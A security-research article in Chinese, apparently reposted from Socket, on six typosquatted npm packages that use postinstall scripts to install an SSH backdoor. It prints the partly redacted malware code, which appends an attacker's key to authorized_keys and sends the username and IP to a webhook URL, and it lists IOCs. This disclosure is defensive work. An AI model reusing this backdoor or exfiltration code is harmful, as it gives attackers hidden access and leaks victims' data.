Socket 的威胁研究团队检测到六个由威胁行为者 “sanchezjosephine180” 发布的恶意 npm 包。这些包通过“名字劫持”(typosquatting)技术模仿了开发者社区中极为流行的库。这些目标库包括 babel-cli、chokidar、streamsearch、ssh2、npm-run-all 和 node-pty,它们总下载量达数千万次,是开发者社区不可或缺的一部分。
这些恶意包分别是 babelcl、chokader、streamserch、sss2h、npmrunnall 和 node-pyt。这些包通过向 Linux 系统注入后门代码,允许威胁行为者通过 SSH 获得未经授权的访问权限。目前,这些恶意包仍然在线,总下载量已超过 700 次。我们已向 npm 官方请求下架这些包。
威胁行为者利用开发者常见的输入错误,并滥用 postinstall 脚本分发恶意代码,目的是攻击开发者和相关组织。postinstall 脚本在包安装后会自动执行。它先运行 node app.js,然后安装一个合法的库(例如 npm install streamsearch),从而掩盖恶意行为。这样一来,合法功能得以呈现,降低了恶意代码被及时发现的可能性。
影响范围
未经授权的 SSH 访问就像在坚固的城堡墙上开了一个隐秘的门。攻击者可以悄无声息地进入,绕过安全措施,在系统内部自由行动,窃取情报,甚至可能危及整个网络的安全。在暗网上,SSH 访问凭据的交易十分活跃,威胁行为者利用这些凭据实施网络攻击和欺诈行为。安全研究人员已记录到攻击者使用 SSH 访问从事间谍活动、非法加密货币挖矿,甚至将其作为勒索软件攻击的入口。一个未经授权的 SSH 密钥不仅打开了一扇门,更为攻击者创建了一条隐蔽的通道,可以轻松渗透并威胁整个组织的数字安全堡垒。
SSH 后门代码
恶意包中的脚本允许威胁行为者通过 SSH 访问受害者系统,暴露敏感信息(如用户名和 IP 地址),并为进一步的恶意活动建立桥头堡。以下是威胁行为者的代码(已去除关键威胁部分并添加注释,以解释恶意功能):
const fs = require('fs'); const os = require('os'); const path = require('path'); const https = require('https'); // 获取当前用户的用户名 const username = os.userInfo().username; // 获取机器的公网 IP 地址 function getPublicIP() { return new Promise((resolve, reject) => { https.get('https://ipinfo[.]io/ip', (res) => { let data = ''; res.on('data', chunk => { data += chunk; }); res.on('end', () => { resolve(data.trim()); }); }).on('error', (err) => { reject(err); }); }); } // 硬编码的攻击者 SSH 公钥 const publicKey = `ssh-rsa AAAAB3NzaC...`; // 添加攻击者 SSH 密钥到受害者的 `authorized_keys` 文件中 async function addSSHKey() { if (os.platform() === 'linux') { try { const ipAddress = await getPublicIP(); const fullPublicKey = `${publicKey} ${username}@${ipAddress}`; const sshDir = path.join(os.homedir(), '.ssh'); const authorizedKeysPath = path.join(sshDir, 'authorized_keys'); if (!fs.existsSync(sshDir)) { fs.mkdirSync(sshDir, { mode: 0o700 }); } if (fs.existsSync(authorizedKeysPath)) { fs.appendFileSync(authorizedKeysPath, `n${fullPublicKey}n`); } else { fs.writeFileSync(authorizedKeysPath, `${fullPublicKey}n`, { mode: 0o600 }); } https.get(`https://webhook-test[.]com/8caf20007640ce1a4d2843af7b479eb1?data=I:${ipAddress}&M:${username}`, () => {}); } catch (err) {} } } addSSHKey();此恶意脚本在 authorized_keys 文件中添加攻击者的 SSH 密钥,从而授予攻击者系统访问权限,同时通过远程服务器发送用户名和公网 IP 地址,实现数据外泄。脚本静默运行,安装包时自动执行,极难察觉。
命令与控制 (C2)
攻击者通过接收用户名和 IP 地址得知恶意脚本已成功在受害者机器上运行。这些信息帮助攻击者标识受感染的系统,并使用注入的 SSH 密钥建立连接。攻击者利用看似正常的 HTTPS 请求(例如 webhook-test.com)规避基本的网络安全措施。这种服务允许生成独特的 URL 用于接收 HTTP/S 请求,在此案例中则被用于收集受害者数据,同时隐藏攻击者的服务器或 IP 地址,增加追踪难度。
第七个包
除上述六个恶意包外,还有一个名为 parimiko 的包,它模仿了 Python 的流行 SSH 库 paramiko。尽管 parimiko 当前没有恶意代码,但威胁行为者可能利用它打造合法的假象,为后续分发恶意代码做准备。一旦该包积累了足够多的安装量,未来可能通过更新注入恶意代码。
展望与结论
此次发现表明,软件供应链的安全漏洞问题日益严重。开发者和组织需要高度警惕,加强依赖管理和安全审查。利用像 Socket 提供的实时威胁检测工具,可以帮助防范此类供应链攻击。
MITRE ATT&CK
T1195.002 — 供应链妥协:软件供应链攻击 T1036.005 — 冒充:模仿合法名称或位置 T1059.007 — 命令和脚本解释器:JavaScript T1021.004 — 远程服务:SSH T1190 — 利用公开服务漏洞 T1005 — 从本地系统获取数据 T1567.004 — 通过 Web 服务外泄:利用 Webhook威胁指标 (IOCs)
恶意包: babelcl chokader streamserch sss2h npmrunnall node-pyt 命令与控制服务器: https://webhook-test[.]com/8caf20007640ce1a4d2843af7b479eb1文章原文链接:https://www.anquanke.com/post/id/302211

